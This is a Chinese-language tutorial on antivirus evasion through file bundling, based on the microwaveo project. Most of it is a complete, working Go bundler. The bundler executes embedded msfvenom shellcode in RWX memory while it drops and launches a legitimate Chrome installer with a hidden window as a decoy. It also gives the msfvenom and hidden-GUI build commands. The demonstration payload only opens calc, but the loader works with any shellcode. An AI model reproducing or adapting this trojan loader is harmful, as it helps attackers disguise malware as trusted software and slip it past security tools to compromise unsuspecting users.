免杀基础–从microwaveo学习文件捆绑

0x00 介绍

得益于go语言的强大特性,比如跨平台编译,性能优异,生成最终为二进制可执行文件等等,现在越来越多的软件使用go语言开发。有越来越多的安全开发人员使用go开发安全工具。其中go语言版本的shellcode加载器,成了很多红队人员的喜爱。github上一个开源项目microwaveo结合go-donut制作了一个捆绑器,被捆绑的部分可以是任意一个exe或dll或shellcode。本文讨论其中的捆绑技术。

microwaveo项目地址:https://github.com/Ciyfly/microwaveo

0x01 原理

直接从代码开始,来自于模板代码(template_aes_white.tmpl)。

func main() {
    var wg = sync.WaitGroup{}
    wg.Add(2)
    go func() {
        // shellcode
        defer wg.Done()
        key := "{{.AesKey}}"
        shellcoeRun(beacon, key)
    }()
    go func() {
        defer wg.Done()
        whitePath := path.Join(os.TempDir(), "white.exe")
        ioutil.WriteFile(whitePath, []byte(whiteFile), 0666)
        execCmd(whitePath)
    }()
    wg.Wait()
}

起了两个协程,第一个用来执行go-donut生成的shellcode,第二个执行释放到临时目录的白文件。

再往上追溯,可看到如下两行代码

//go:embed static/tmp.bin
var beacon []byte

//go:embed static/white.exe
var whiteFile string

如果没有相关go语言开发经验的,很有可能不明白这两句的意思。对于这个模板代码很困惑,beacon 切片值从哪来,whiteFile字符串又从哪找。如果你想从目标go文件生成里找,那就会失望。其实这个是编译期,就把static/tmp.bin文件和static/white.exe文件字节序列赋值给对应的下一行变量。//go:embed static/tmp.bin是固定格式语法,由embed包负责将文件嵌入赋值给变量。以后很可能多次见到这中语法。

0x02 实战测试

  1. shellcode文件tmp.bin利用msfvenom生成
msfvenom -p windows/x64/exec CMD="calc" -f raw -o tmp.bin 
  1. white.exe白文件为chrome安装文件

再去掉模板文件中的AES加密部分,就得到一个可用捆绑器

// white_bundle.go

package main

import (
    "bytes"
    _ "embed"
    "io/ioutil"
    "os"
    "os/exec"
    "path"
    "sync"
    "syscall"
    "unsafe"
)

//go:embed static/tmp.bin
var beacon []byte

//go:embed static/white.exe
var whiteFile string

func execCmd(command string) {
    // cmd := exec.Command("cmd.exe", "/c", "start", command)
    cmd := exec.Command("cmd.exe", "/c", "start", command)
    cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
    cmd.Start()
}

// shellcode
const (
    MEM_COMMIT             = 0x1000
    MEM_RESERVE            = 0x2000
    PAGE_EXECUTE_READWRITE = 0x40
    KEY_1                  = 55
    KEY_2                  = 66
)

var (
    kernel32      = syscall.MustLoadDLL("kernel32.dll")
    ntdll         = syscall.MustLoadDLL("ntdll.dll")
    VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")
    RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)

func Run(shellcodeBeacon []byte) {
    addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcodeBeacon)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) // 为shellcode申请内存空间
    _, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcodeBeacon[0])), uintptr(len(shellcodeBeacon))) // 将shellcode内存复制到申请出来的内存空间中
    syscall.Syscall(addr, 0, 0, 0, 0)
}

func shellcoeRun(shellbuf []byte) {

    Run([]byte(shellbuf))
}

func main() {
    var wg = sync.WaitGroup{}
    wg.Add(2)
    go func() {
        // shellcode
        defer wg.Done()

        shellcoeRun(beacon)
    }()
    go func() {
        defer wg.Done()
        whitePath := path.Join(os.TempDir(), "white.exe")
        ioutil.WriteFile(whitePath, []byte(whiteFile), 0666)
        execCmd(whitePath)
    }()
    wg.Wait()
}

编译

go build -ldflags "-s -w -H windowsgui" -o output.exe white_bundle.go

0x03 演示